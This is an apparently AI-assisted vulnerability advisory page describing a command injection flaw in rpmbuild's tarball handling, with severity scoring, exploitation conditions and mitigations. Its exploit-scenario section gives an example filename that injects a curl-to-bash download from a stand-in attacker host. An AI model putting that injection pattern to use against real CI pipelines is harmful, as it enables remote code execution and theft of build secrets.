Skip to main content
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts tarball with metacharacter filename
  2. Delivery
    Submits tarball to external-facing CI intake endpoint
  3. Exploit
    Pipeline passes unsanitized filename to `rpmbuild -t*`
  4. Execution
    Shell interprets metacharacters during rpmbuild execution
  5. Persist
    Arbitrary commands execute as build user
  6. Impact
    Build environment compromised or sensitive CI secrets disclosed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that: (1) the victim system runs rpmbuild with the -t, -ta, -tb, or -tp flag; (2) the tarball path or filename argument is derived from externally supplied, attacker-controllable input (e.g., an uploaded artifact name or a user-provided URL path component); and (3) the externally supplied name is not sanitized of shell metacharacters before being passed to rpmbuild. The UI:R CVSS metric reflects the requirement that a human user or automated pipeline must invoke rpmbuild on the malicious tarball - direct remote exploitation without this step is not possible. Exploitation is limited to the privileges of the build user running rpmbuild; it does not inherently yield root access unless the build user has elevated permissions. Systems where rpmbuild is only run against internally generated, fully controlled tarball names are not at risk.

Impact

The provided CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8) accurately models the threat: an attacker with no system privileges supplies a maliciously named tarball, and a local build user must be socially engineered or automated (via CI/CD) into processing it. The UI:R metric is the critical limiting factor - direct, fully automated remote exploitation is not possible without the build pipeline running rpmbuild on attacker-controlled input. The real-world risk is concentrated in CI/CD pipelines that accept externally submitted tarballs (e.g., community contribution workflows, automated dependency builders), where the 'user interaction' step is effectively eliminated by automation. EPSS data is not available to quantify exploitation probability statistically. No KEV listing and no confirmed POC exist at time of analysis, so this should be treated as an important but not immediately weaponized issue. Organizations not running automated rpmbuild pipelines with external tarball input face substantially lower realistic risk despite the 7.8 base score.

Exploit ScenarioDerived

An attacker submits a malicious tarball to a community package build system - or compromises an artifact upload endpoint - naming the file something like package-1.0;curl${IFS}attacker.com/shell.sh|bash;.tar.gz. The CI/CD pipeline automatically invokes rpmbuild -ta 'package-1.0;curl${IFS}attacker.com/shell.sh|bash;.tar.gz', causing the shell metacharacters to be interpreted, downloading and executing attacker-controlled code with the build user's privileges. No POC has been publicly confirmed, but the attack concept requires only basic shell injection knowledge.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 1.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

Command injection in rpm's rpmbuild -t* subcommand allows arbitrary command execution with build-user privileges when an attacker controls the path or filename of a tarball being processed. The vulnerability arises because shell metacharacters in tarball names are not sanitized before being passed to a shell invocation inside rpmbuild. Exploitation is most realistic in automated CI/CD pipelines that fetch externally supplied artifact archives and pass them directly to rpmbuild, a common pattern in open-source package maintainer workflows. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis.

RemediationAI

Consult the Red Hat advisory at https://access.redhat.com/security/cve/CVE-2026-84837 and apply the updated rpm-build package when Red Hat releases it; no specific patched version is confirmed in the available data. As an immediate compensating control for CI/CD pipelines, validate and sanitize tarball filenames and paths against an allowlist of safe characters (alphanumerics, hyphens, underscores, dots) before passing them to rpmbuild, rejecting any input containing shell metacharacters (;, |, ` `, $, (, ), &, <, >, `). Alternatively, restructure CI pipelines to rename incoming tarballs to a controlled, sanitized filename before any rpmbuild invocation, thereby severing the attacker's ability to influence the argument. Organizations that do not run automated rpmbuild pipelines ingesting externally supplied artifact names are not meaningfully exposed and should monitor for the upstream patch rather than enacting emergency controls.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The rpmbuild -t (and -ta, -tb, -tp) flags instruct RPM's build tool to extract a Source RPM spec from within a user-supplied tarball and then build the package. The root cause (CWE-78, OS Command Injection) is that the tarball path or filename - which can be attacker-influenced - is not properly sanitized of shell metacharacters before being embedded in a shell command executed by rpmbuild. Affected deployments span Red Hat Enterprise Linux 6 through 10 and Red Hat Hardened Images (per CPEs: cpe:2.3:a:red_hat:red_hat_enterprise_linux_6 through _10 and red_hat_hardened_images). Because rpm is the upstream tool, derivative distributions (Fedora, CentOS Stream, Rocky Linux, AlmaLinux, openSUSE) using the same rpm-build package are likely affected but are not enumerated in the provided CPE data.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

AV:L because rpmbuild executes locally; PR:N because the attacker supplies only an external tarball name, not credentials; UI:R because a user or pipeline must invoke rpmbuild on the malicious input.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.8 MEDIUM

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A flaw was found in rpm. An attacker can exploit a command injection vulnerability by influencing the path or filename of a tarball processed by rpmbuild -t* to include shell metacharacters. This is particularly relevant in automated build or continuous integration (CI) workflows that ingest externally supplied artifact names. Successful exploitation allows for arbitrary command execution with the privileges of the build user, which could lead to information disclosure or disruption of the build environment.

Executive ViewAI

Why It Matters

The rpm package management utility contains a command injection flaw in tarball processing that could allow attackers to execute arbitrary commands with build-user privileges; no public exploit identified at time of analysis. This vulnerability primarily threatens open-source maintainers and organizations running rpm-based Linux distribution pipelines that process externally sourced package archives. With no vendor patch currently available, affected organizations must immediately implement procedural and environmental controls to prevent exposure through automated build workflows.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict rpmbuild tarball input to cryptographically verified internal sources; run builds in sandboxed, minimal-privilege environments; disable 'rpmbuild -t*' subcommands where operationally feasible; implement strict filename validation and sanitization at the CI/CD pipeline entry point before tarball processing; monitor Red Hat security advisories for patch availability and prioritize patching upon release.

Threat Intelligence Overview

EPSS Score
1.2%
Top 34% exploitable
Prevalence
High
rpmbuild ships in all RHEL/Fedora/CentOS enterprise Linux deployments
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_hardened_images:*:*:*:*:*:*:*:*
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash

CVE-2026-4631 CRITICAL POC
9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h

CVE-2026-4480 CRITICAL POC
9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft

CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript

CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity

CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe

CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo

CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a

CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes

CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 12 Affected
SUSE Linux Enterprise Micro 5.3 Affected
SUSE Linux Enterprise Micro 5.4 Affected
SUSE Linux Enterprise Micro 5.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy